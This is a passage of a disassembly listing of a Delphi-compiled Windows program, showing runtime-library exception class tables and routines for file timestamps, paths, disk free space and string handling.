retn ; --------------------------------------------------------------------------- loc_4036DD: ; DATA XREF: sub_4036B8+6o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4036DC ; --------------------------------------------------------------------------- loc_4036E4: ; CODE XREF: sub_4036B8:loc_4036DCj ; DATA XREF: sub_4036B8+1Fo pop ebp retn sub_4036B8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4036E8 proc near ; DATA XREF: CODE:00407B40o sub ds:dword_40A6A4, 1 retn sub_4036E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4036F0 proc near ; DATA XREF: CODE:00407B4Co push ebp mov ebp, esp xor eax, eax push ebp push offset loc_403715 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40A6A8 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40371C loc_403714: ; CODE XREF: sub_4036F0+2Aj retn ; --------------------------------------------------------------------------- loc_403715: ; DATA XREF: sub_4036F0+6o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_403714 ; --------------------------------------------------------------------------- loc_40371C: ; CODE XREF: sub_4036F0:loc_403714j ; DATA XREF: sub_4036F0+1Fo pop ebp retn sub_4036F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_403720 proc near ; DATA XREF: CODE:00407B48o sub ds:dword_40A6A8, 1 retn sub_403720 endp ; --------------------------------------------------------------------------- off_403728 dd offset dword_40A694 ; DATA XREF: DATA:off_409308o dd 0FFF0h off_403730 dd offset dword_40A694 ; DATA XREF: DATA:off_409300o dd 0FFF1h off_403738 dd offset dword_40A694 ; DATA XREF: DATA:off_40934Co dd 0FFF2h off_403740 dd offset dword_40A694 ; DATA XREF: DATA:off_4093E8o dd 0FFF3h off_403748 dd offset dword_40A694 ; DATA XREF: DATA:off_4092C0o dd 0FFF4h off_403750 dd offset dword_40A694 ; DATA XREF: DATA:off_4093B0o dd 0FFF5h off_403758 dd offset dword_40A694 ; DATA XREF: DATA:off_409384o dd 0FFF6h off_403760 dd offset dword_40A694 ; DATA XREF: DATA:off_4092ECo dd 0FFF7h off_403768 dd offset dword_40A694 ; DATA XREF: DATA:off_409310o dd 0FFF8h off_403770 dd offset dword_40A694 ; DATA XREF: DATA:off_4093F4o dd 0FFF9h off_403778 dd offset dword_40A694 ; DATA XREF: DATA:off_4093F0o dd 0FFFAh off_403780 dd offset dword_40A694 ; DATA XREF: DATA:off_409350o dd 0FFFBh off_403788 dd offset dword_40A694 ; DATA XREF: DATA:off_4093FCo dd 0FFFCh off_403790 dd offset dword_40A694 ; DATA XREF: DATA:off_40940Co dd 0FFFDh off_403798 dd offset dword_40A694 ; DATA XREF: DATA:off_409388o dd 0FFFEh off_4037A0 dd offset dword_40A694 ; DATA XREF: DATA:off_409398o dd 0FFFFh off_4037A8 dd offset dword_40A694 ; DATA XREF: DATA:off_409390o dd 0FFE0h off_4037B0 dd offset dword_40A694 ; DATA XREF: DATA:off_409408o dd 0FFE1h off_4037B8 dd offset dword_40A694 ; DATA XREF: DATA:off_4093E4o dd 0FFE2h off_4037C0 dd offset dword_40A694 ; DATA XREF: DATA:off_409340o dd 0FFE3h off_4037C8 dd offset dword_40A694 ; DATA XREF: DATA:off_409344o dd 0FFE4h off_4037D0 dd offset dword_40A694 ; DATA XREF: DATA:off_4093ECo dd 0FFE5h off_4037D8 dd offset dword_40A694 ; DATA XREF: DATA:off_409404o dd 0FFE6h off_4037E0 dd offset dword_40A694 ; DATA XREF: DATA:off_409304o dd 0FFE7h off_4037E8 dd offset dword_40A694 ; DATA XREF: DATA:off_4090F8o ; DATA:off_409314o dd 0FFE8h off_4037F0 dd offset dword_40A694 ; DATA XREF: DATA:off_4090FCo ; DATA:off_409354o dd 0FFE9h off_4037F8 dd offset dword_40A694 ; DATA XREF: DATA:off_4092BCo dd 0FFEAh off_403800 dd offset dword_40A694 ; DATA XREF: DATA:off_409410o ; --------------------------------------------------------------------------- jmp short near ptr loc_403804+1 ; CODE XREF: CODE:loc_403804j ; --------------------------------------------------------------------------- align 4 off_403808 dd offset dword_40A694 ; DATA XREF: DATA:off_4093A8o dd 0FFECh off_403810 dd offset dword_40A694 ; DATA XREF: DATA:off_409358o dd 0FFEDh off_403818 dd offset dword_40A694 ; DATA XREF: DATA:off_4093C8o dd 0FFEEh off_403820 dd offset dword_40A694 ; DATA XREF: DATA:off_409374o dd 0FFEFh off_403828 dd offset dword_40A694 ; DATA XREF: DATA:off_409368o dd 0FFD0h off_403830 dd offset dword_40A694 ; DATA XREF: DATA:off_409328o dd 0FFD1h off_403838 dd offset dword_40A694 ; DATA XREF: DATA:off_4092D8o dd 0FFD2h off_403840 dd offset dword_40A694 ; DATA XREF: DATA:off_4093B4o dd 0FFD3h off_403848 dd offset dword_40A694 ; DATA XREF: DATA:off_409360o dd 0FFD4h off_403850 dd offset dword_40A694 ; DATA XREF: DATA:off_4093A4o dd 0FFD5h off_403858 dd offset dword_40A694 ; DATA XREF: DATA:off_4093D4o dd 0FFD6h off_403860 dd offset dword_40A694 ; DATA XREF: DATA:off_409318o dd 0FFD7h dd offset dword_40A694 ; DATA XREF: DATA:off_4093CCo dd 0FFD8h off_403870 dd offset dword_40A694 ; DATA XREF: DATA:off_409110o ; DATA:off_409400o dd 0FFD9h off_403878 dd offset dword_40A694 ; DATA XREF: DATA:off_409114o ; DATA:off_409378o dd 0FFDAh off_403880 dd offset dword_40A694 ; DATA XREF: DATA:off_409118o ; DATA:off_4093E0o dd 0FFDBh off_403888 dd offset dword_40A694 ; DATA XREF: DATA:off_40911Co ; DATA:off_4092B8o dd 0FFDCh off_403890 dd offset dword_40A694 ; DATA XREF: DATA:off_409120o ; DATA:off_4092E8o dd 0FFDDh off_403898 dd offset dword_40A694 ; DATA XREF: DATA:off_409124o ; DATA:off_409414o dd 0FFDEh off_4038A0 dd offset dword_40A694 ; DATA XREF: DATA:off_409128o ; DATA:off_4093D0o dd 0FFDFh off_4038A8 dd offset dword_40A694 ; DATA XREF: DATA:off_40912Co ; DATA:off_4092D0o dd 0FFC0h off_4038B0 dd offset dword_40A694 ; DATA XREF: DATA:off_409130o ; DATA:off_40930Co dd 0FFC1h off_4038B8 dd offset dword_40A694 ; DATA XREF: DATA:off_409134o ; DATA:off_40937Co ; --------------------------------------------------------------------------- retn 0FFh ; --------------------------------------------------------------------------- align 10h off_4038C0 dd offset dword_40A694 ; DATA XREF: DATA:off_409138o ; DATA:off_4093D8o ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0FFh, 2 dup(0) off_4038C8 dd offset dword_40A694 ; DATA XREF: DATA:off_40913Co ; DATA:off_4093F8o dd 0FFC4h off_4038D0 dd offset dword_40A694 ; DATA XREF: DATA:off_409140o ; DATA:off_40935Co dd 0FFC5h off_4038D8 dd offset dword_40A694 ; DATA XREF: DATA:off_409144o ; DATA:off_4092C4o dd 0FFC6h off_4038E0 dd offset dword_40A694 ; DATA XREF: DATA:off_409148o ; DATA:off_409330o dd 0FFC7h off_4038E8 dd offset dword_40A694 ; DATA XREF: DATA:off_40914Co ; DATA:off_40936Co dd 0FFC8h off_4038F0 dd offset dword_40A694 ; DATA XREF: DATA:off_409150o ; DATA:off_40938Co dd 0FFC9h off_4038F8 dd offset dword_40A694 ; DATA XREF: DATA:off_409154o ; DATA:off_409364o ; --------------------------------------------------------------------------- retf 0FFh ; --------------------------------------------------------------------------- align 10h off_403900 dd offset dword_40A694 ; DATA XREF: DATA:off_409158o ; DATA:off_40931Co ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0FFh, 2 dup(0) off_403908 dd offset dword_40A694 ; DATA XREF: DATA:off_40915Co ; DATA:off_409370o db 0CCh db 0FFh, 2 dup(0) off_403910 dd offset dword_40A694 ; DATA XREF: DATA:off_409160o ; DATA:off_4093B8o dd 0FFCDh off_403918 dd offset dword_40A694 ; DATA XREF: DATA:off_409164o ; DATA:off_4092C8o dd 0FFCEh off_403920 dd offset dword_40A694 ; DATA XREF: DATA:off_409168o ; DATA:off_409324o dd 0FFCFh off_403928 dd offset dword_40A694 ; DATA XREF: DATA:off_40916Co ; DATA:off_40933Co dd 0FFB0h off_403930 dd offset dword_40A694 ; DATA XREF: DATA:off_409170o ; DATA:off_40939Co dd 0FFB1h off_403938 dd offset dword_40A694 ; DATA XREF: DATA:off_409174o ; DATA:off_4093BCo dd 0FFB2h off_403940 dd offset dword_40A694 ; DATA XREF: DATA:off_409178o ; DATA:off_4093C4o dd 0FFB3h off_403948 dd offset dword_40A694 ; DATA XREF: DATA:off_40917Co ; DATA:off_409380o dd 0FFB4h off_403950 dd offset dword_40A694 ; DATA XREF: DATA:off_409180o ; DATA:off_4092F4o dd 0FFB5h off_403958 dd offset dword_40A694 ; DATA XREF: DATA:off_409184o ; DATA:off_409394o dd 0FFB6h off_403960 dd offset dword_40A694 ; DATA XREF: DATA:off_409188o ; DATA:off_409348o dd 0FFB7h off_403968 dd offset dword_40A694 ; DATA XREF: DATA:off_40918Co ; DATA:off_4092E4o dd 0FFB8h off_403970 dd offset dword_40A694 ; DATA XREF: DATA:off_409190o ; DATA:off_4092F0o dd 0FFB9h off_403978 dd offset dword_40A694 ; DATA XREF: DATA:off_409194o ; DATA:off_4092F8o dd 0FFBAh off_403980 dd offset dword_40A694 ; DATA XREF: DATA:off_409198o ; DATA:off_4092CCo dd 0FFBBh off_403988 dd offset dword_40A694 ; DATA XREF: DATA:off_40919Co ; DATA:off_4093ACo dd 0FFBCh off_403990 dd offset dword_40A694 ; DATA XREF: DATA:off_4091A0o ; DATA:off_4092DCo dd 0FFBDh off_403998 dd offset dword_40A694 ; DATA XREF: DATA:off_4091A4o ; DATA:off_4093DCo dd 0FFBEh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4039A0 proc near ; DATA XREF: CODE:00407B54o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_4039C5 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_40A6AC xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4039CC loc_4039C4: ; CODE XREF: sub_4039A0+2Aj retn ; --------------------------------------------------------------------------- loc_4039C5: ; DATA XREF: sub_4039A0+6o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4039C4 ; --------------------------------------------------------------------------- loc_4039CC: ; CODE XREF: sub_4039A0:loc_4039C4j ; DATA XREF: sub_4039A0+1Fo pop ebp retn sub_4039A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4039D0 proc near ; DATA XREF: CODE:00407B50o sub ds:dword_40A6AC, 1 retn sub_4039D0 endp ; --------------------------------------------------------------------------- off_4039D8 dd offset dword_403A24 ; DATA XREF: CODE:00403A68o ; CODE:00403B20o ... dd 2 dup(0) dd offset dword_403A24 dd 4 dup(0) dd offset word_403A36 dd 0Ch dd offset off_40100C dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403A24 dd 0Eh, 10000h ; DATA XREF: CODE:off_4039D8o ; CODE:004039E4o db 2 dup(0) dd offset off_401000 dw 4 db 2 dup(0) word_403A36 dw 4509h ; DATA XREF: CODE:004039F8o dd 70656378h, 6E6F6974h off_403A40 dd offset dword_403A8C ; DATA XREF: CODE:00403AC4o ; CODE:00403F4Co dd 7 dup(0) dd offset dword_403A8C dd 10h dd offset off_4039D8 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_405A74 dd offset sub_401F40 dword_403A8C dd 6548450Eh, 78457061h, 74706563h, 906E6F69h ; DATA XREF: CODE:off_403A40o ; CODE:00403A60o off_403A9C dd offset dword_403AE8 ; DATA XREF: sub_405FA4+8r dd 7 dup(0) dd offset dword_403AE8 dd 10h dd offset off_403A40 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_405A74 dd offset sub_401F40 dword_403AE8 dd 754F450Ch, 4D664F74h, 726F6D65h, 408D79h ; DATA XREF: CODE:off_403A9Co ; CODE:00403ABCo off_403AF8 dd offset dword_403B44 ; DATA XREF: sub_405AA0+2Dr ; sub_405AA0+4Cr dd 7 dup(0) dd offset dword_403B44 dd 10h dd offset off_4039D8 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403B44 dd 6E49450Bh, 4574754Fh, 726F7272h ; DATA XREF: CODE:off_403AF8o ; CODE:00403B18o off_403B50 dd offset dword_403B9C ; DATA XREF: CODE:00403BD0o ; CODE:00403C30o ... dd 7 dup(0) dd offset dword_403B9C dd 10h dd offset off_4039D8 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403B9C dd 78454509h, 6E726574h, 0C08B6C61h ; DATA XREF: CODE:off_403B50o ; CODE:00403B70o off_403BA8 dd offset dword_403BF4 ; DATA XREF: sub_405EC8+82r dd 7 dup(0) dd offset dword_403BF4 dd 10h dd offset off_403B50 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403BF4 dd 78454512h, 6E726574h, 78456C61h, 74706563h, 906E6F69h ; DATA XREF: CODE:off_403BA8o ; CODE:00403BC8o ... off_403C08 dd offset dword_403C54 ; DATA XREF: CODE:00403C88o ; CODE:00403CE0o ... dd 7 dup(0) dd offset dword_403C54 dd 10h dd offset off_403B50 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403C54 dd 6E494509h, 72724574h, 0C08B726Fh ; DATA XREF: CODE:off_403C08o ; CODE:00403C28o dd offset dword_403CAC dd 7 dup(0) dd offset dword_403CAC dd 10h dd offset off_403C08 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403CAC dd 6944450Ah, 5A794276h, 906F7265h ; DATA XREF: CODE:00403C60o ; CODE:00403C80o ... dd offset dword_403D04 dd 7 dup(0) dd offset dword_403D04 dd 10h dd offset off_403C08 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403D04 dd 6152450Bh, 4565676Eh, 726F7272h ; DATA XREF: CODE:00403CB8o ; CODE:00403CD8o ... dd offset dword_403D5C dd 7 dup(0) dd offset dword_403D5C dd 10h dd offset off_403C08 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403D5C dd 6E49450Ch, 65764F74h, 6F6C6672h, 408D77h ; DATA XREF: CODE:00403D10o ; CODE:00403D30o ... off_403D6C dd offset dword_403DB8 ; DATA XREF: CODE:00403DECo ; CODE:00403E44o ... dd 7 dup(0) dd offset dword_403DB8 dd 10h dd offset off_403B50 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403DB8 dd 614D450Ah, 72456874h, 90726F72h ; DATA XREF: CODE:off_403D6Co ; CODE:00403D8Co dd offset dword_403E10 dd 7 dup(0) dd offset dword_403E10 dd 10h dd offset off_403D6C dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403E10 dd 6E49450Ah, 696C6176h, 90704F64h ; DATA XREF: CODE:00403DC4o ; CODE:00403DE4o ... dd offset dword_403E68 dd 7 dup(0) dd offset dword_403E68 dd 10h dd offset off_403D6C dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403E68 dd 655A450Bh, 69446F72h, 65646976h ; DATA XREF: CODE:00403E1Co ; CODE:00403E3Co ... dd offset dword_403EC0 dd 7 dup(0) dd offset dword_403EC0 dd 10h dd offset off_403D6C dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403EC0 dd 764F4509h, 6C667265h, 0C08B776Fh ; DATA XREF: CODE:00403E74o ; CODE:00403E94o ... dd offset dword_403F18 dd 7 dup(0) dd offset dword_403F18 dd 10h dd offset off_403D6C dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403F18 dd 6E55450Ah, 66726564h, 90776F6Ch ; DATA XREF: CODE:00403ECCo ; CODE:00403EECo ... off_403F24 dd offset dword_403F70 ; DATA XREF: sub_405FA4+1Fr dd 7 dup(0) dd offset dword_403F70 dd 10h dd offset off_403A40 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_405A74 dd offset sub_401F40 dword_403F70 dd 6E49450Fh, 696C6176h, 696F5064h, 7265746Eh ; DATA XREF: CODE:off_403F24o ; CODE:00403F44o dd offset dword_403FCC dd 7 dup(0) dd offset dword_403FCC dd 0Ch dd offset off_4039D8 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_403FCC dd 6E49450Ch, 696C6176h, 73614364h, 408D74h ; DATA XREF: CODE:00403F80o ; CODE:00403FA0o ... off_403FDC dd offset dword_404028 ; DATA XREF: sub_4043CC+Fr dd 7 dup(0) dd offset dword_404028 dd 0Ch dd offset off_4039D8 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_404028 dd 6F43450Dh, 7265766Eh, 72724574h, 0C08B726Fh ; DATA XREF: CODE:off_403FDCo ; CODE:00403FFCo off_404038 dd offset dword_404084 ; DATA XREF: sub_405CFC+122r ; sub_405CFC+17Er dd 7 dup(0) dd offset dword_404084 dd 10h dd offset off_403B50 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_404084 dd 63414510h, 73736563h, 6C6F6956h, 6F697461h, 408D6Eh ; DATA XREF: CODE:off_404038o ; CODE:00404058o ... dd offset dword_4040E4 dd 7 dup(0) dd offset dword_4040E4 dd 10h dd offset off_403B50 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_4040E4 dd 7250450Ah, 6C697669h, 90656765h ; DATA XREF: CODE:00404098o ; CODE:004040B8o ... dd offset dword_40413C dd 7 dup(0) dd offset dword_40413C dd 10h dd offset off_403B50 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_40413C dd 7453450Eh, 4F6B6361h, 66726576h, 90776F6Ch ; DATA XREF: CODE:004040F0o ; CODE:00404110o ... dd offset dword_404198 dd 7 dup(0) dd offset dword_404198 dd 10h dd offset off_403B50 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_404198 dd 6F434509h, 6F72746Eh, 0C08B436Ch ; DATA XREF: CODE:0040414Co ; CODE:0040416Co ... dd offset dword_4041F0 dd 7 dup(0) dd offset dword_4041F0 dd 0Ch dd offset off_4039D8 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_4041F0 dd 6156450Dh, 6E616972h, 72724574h, 0C08B726Fh ; DATA XREF: CODE:004041A4o ; CODE:004041C4o ... off_404200 dd offset dword_40424C ; DATA XREF: sub_405B74+72r dd 7 dup(0) dd offset dword_40424C dd 0Ch dd offset off_4039D8 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_40424C dd 73414510h, 74726573h, 466E6F69h, 656C6961h, 408D64h ; DATA XREF: CODE:off_404200o ; CODE:00404220o ... off_404260 dd offset dword_4042AC ; DATA XREF: CODE:00405C54r dd 7 dup(0) dd offset dword_4042AC dd 0Ch dd offset off_4039D8 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_4042AC dd 6241450Eh, 61727473h, 72457463h, 90726F72h ; DATA XREF: CODE:off_404260o ; CODE:00404280o dd offset dword_404308 dd 7 dup(0) dd offset dword_404308 dd 0Ch dd offset off_4039D8 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_404308 dd 6E49450Eh, 61436674h, 72457473h, 90726F72h ; DATA XREF: CODE:004042BCo ; CODE:004042DCo ... dd offset dword_404364 dd 7 dup(0) dd offset dword_404364 dd 0Ch dd offset off_4039D8 dd offset sub_40203C dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402050 dd offset nullsub_4 dd offset sub_401F08 dd offset sub_401F24 dd offset sub_401F40 dword_404364 dd 61534512h, 61636566h, 78456C6Ch, 74706563h, 906E6F69h ; DATA XREF: CODE:00404318o ; CODE:00404338o ... off_404378 dd offset dword_40437C ; DATA XREF: sub_406B98+8Fr dword_40437C dd 332E0311h, 434h ; DATA XREF: CODE:off_404378o db 0 dd offset off_401000 db 48h, 2 dup(0) db 0 dd offset off_401000 db 8, 53h, 79h dd 69745573h, 0C08B736Ch off_40439C dd offset dword_4043A0 ; DATA XREF: sub_406B98+7Fr dword_4043A0 dd 342E0311h, 434h ; DATA XREF: CODE:off_40439Co db 0 dd offset off_401000 db 48h, 2 dup(0) db 0 dd offset off_401000 db 8, 53h, 79h dd 69745573h, 0C08B736Ch, 0FFFFFFFFh, 1 dword_4043C8 dd 24h ; DATA XREF: DATA:off_4090E8o ; =============== S U B R O U T I N E ======================================= sub_4043CC proc near ; CODE XREF: sub_404654+4Cp push ebx push esi push edi mov edi, ecx mov esi, edx mov ebx, eax push esi push edi mov ecx, ebx mov dl, 1 mov eax, off_403FDC call sub_4059E0 call sub_402308 pop edi pop esi pop ebx retn sub_4043CC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4043F0 proc near ; CODE XREF: sub_40534C+3Ep ; sub_4053C4+34p ... var_8 = dword ptr -8 push ebx push ecx mov ebx, edx mov edx, esp call sub_401B20 cmp [esp+8+var_8], 0 jz short loc_404403 mov eax, ebx loc_404403: ; CODE XREF: sub_4043F0+Fj pop edx pop ebx retn sub_4043F0 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 1 dword_404410 dd 30h, 0FFFFFFFFh, 2, 312Dh ; DATA XREF: DATA:off_4090F0o ; DATA:004090F4o ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404420 proc near ; CODE XREF: sub_404488+5p FindFileData = _WIN32_FIND_DATAA ptr -14Ch LocalFileTime = _FILETIME ptr -0Ch FatTime = word ptr -4 push ebp mov ebp, esp add esp, 0FFFFFEB4h push ebx mov ebx, eax lea eax, [ebp+FindFileData] push eax ; lpFindFileData mov eax, ebx call sub_402A38 push eax ; lpFileName call FindFirstFileA_0 cmp eax, 0FFFFFFFFh jz short loc_404479 push eax ; hFindFile call FindClose_0 test byte ptr [ebp+FindFileData.dwFileAttributes], 10h jnz short loc_404479 lea eax, [ebp+LocalFileTime] push eax ; lpLocalFileTime lea eax, [ebp+FindFileData.ftLastWriteTime] push eax ; lpFileTime call FileTimeToLocalFileTime lea eax, [ebp+FatTime] push eax ; lpFatTime lea eax, [ebp+FatTime+2] push eax ; lpFatDate lea eax, [ebp+LocalFileTime] push eax ; lpFileTime call FileTimeToDosDateTime test eax, eax jnz short loc_404480 loc_404479: ; CODE XREF: sub_404420+23j ; sub_404420+32j mov dword ptr [ebp+FatTime], 0FFFFFFFFh loc_404480: ; CODE XREF: sub_404420+57j mov eax, dword ptr [ebp+FatTime] pop ebx mov esp, ebp pop ebp retn sub_404420 endp ; =============== S U B R O U T I N E ======================================= sub_404488 proc near ; CODE XREF: sub_406F88+8p push ebx mov ebx, eax mov eax, ebx call sub_404420 inc eax setnz al pop ebx retn sub_404488 endp ; =============== S U B R O U T I N E ======================================= sub_404498 proc near ; CODE XREF: sub_4044E8+Ep push ebx push esi push edi push ebp mov esi, edx mov ebx, eax mov eax, esi call sub_402840 mov edi, eax mov eax, ebx call sub_402A38 mov ebp, eax test edi, edi jle short loc_4044DE loc_4044B6: ; CODE XREF: sub_404498+44j mov bl, [esi+edi-1] test bl, bl jz short loc_4044D9 mov edx, ebx mov eax, ebp call sub_404634 test eax, eax jz short loc_4044D9 mov edx, edi mov eax, esi call sub_406164 cmp al, 2 jnz short loc_4044DE dec edi loc_4044D9: ; CODE XREF: sub_404498+24j ; sub_404498+31j dec edi test edi, edi jg short loc_4044B6 loc_4044DE: ; CODE XREF: sub_404498+1Cj ; sub_404498+3Ej mov eax, edi pop ebp pop edi pop esi pop ebx retn sub_404498 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4044E8 proc near ; CODE XREF: sub_405CFC+CCp push ebx push esi push edi mov edi, edx mov ebx, eax mov edx, ebx mov eax, offset dword_40451C call sub_404498 mov esi, eax push edi lea edx, [esi+1] mov ecx, 7FFFFFFFh mov eax, ebx call sub_402A94 pop edi pop esi pop ebx retn sub_4044E8 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 2 dword_40451C dd 3A5Ch ; DATA XREF: sub_4044E8+9o ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_404520(LPCSTR lpRootPathName, int, int, int) sub_404520 proc near ; DATA XREF: sub_40685C+2Ao var_18 = dword ptr -18h var_14 = dword ptr -14h TotalNumberOfClusters= dword ptr -10h NumberOfFreeClusters= dword ptr -0Ch BytesPerSector = dword ptr -8 SectorsPerCluster= dword ptr -4 lpRootPathName = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp add esp, 0FFFFFFE8h push ebx mov eax, [ebp+lpRootPathName] test eax, eax jnz short loc_404530 xor eax, eax loc_404530: ; CODE XREF: sub_404520+Cj lea edx, [ebp+TotalNumberOfClusters] push edx ; lpTotalNumberOfClusters lea edx, [ebp+NumberOfFreeClusters] push edx ; lpNumberOfFreeClusters lea edx, [ebp+BytesPerSector] push edx ; lpBytesPerSector lea edx, [ebp+SectorsPerCluster] push edx ; lpSectorsPerCluster push eax ; lpRootPathName call GetDiskFreeSpaceA mov ebx, eax mov eax, [ebp+SectorsPerCluster] imul [ebp+BytesPerSector] xor edx, edx mov [ebp+var_18], eax mov [ebp+var_14], edx mov eax, [ebp+NumberOfFreeClusters] xor edx, edx push edx push eax mov eax, [ebp+var_18] mov edx, [ebp+var_14] call sub_402DC0 mov ecx, [ebp+arg_4] mov [ecx], eax mov [ecx+4], edx mov eax, [ebp+TotalNumberOfClusters] xor edx, edx push edx push eax mov eax, [ebp+var_18] mov edx, [ebp+var_14] call sub_402DC0 mov ecx, [ebp+arg_8] mov [ecx], eax mov [ecx+4], edx mov eax, ebx pop ebx mov esp, ebp pop ebp retn 10h sub_404520 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_404594 proc near ; CODE XREF: sub_404AE0+16p ; CODE:00405765p ... mov edx, edi mov edi, eax mov ecx, 0FFFFFFFFh xor al, al repne scasb mov eax, 0FFFFFFFEh sub eax, ecx mov edi, edx retn sub_404594 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4045AC proc near ; CODE XREF: sub_404654+2Bp push esi mov esi, eax xchg eax, edx call sub_401340 mov eax, esi pop esi retn sub_4045AC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4045BC proc near ; CODE XREF: CODE:00405739p push edi push esi push ebx mov esi, eax mov edi, edx mov ebx, ecx xor al, al test ecx, ecx jz short loc_4045D0 repne scasb jnz short loc_4045D0 inc ecx loc_4045D0: ; CODE XREF: sub_4045BC+Dj ; sub_4045BC+11j sub ebx, ecx mov edi, esi mov esi, edx mov edx, edi mov ecx, ebx shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb stosb mov eax, edx pop ebx pop esi pop edi retn sub_4045BC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T 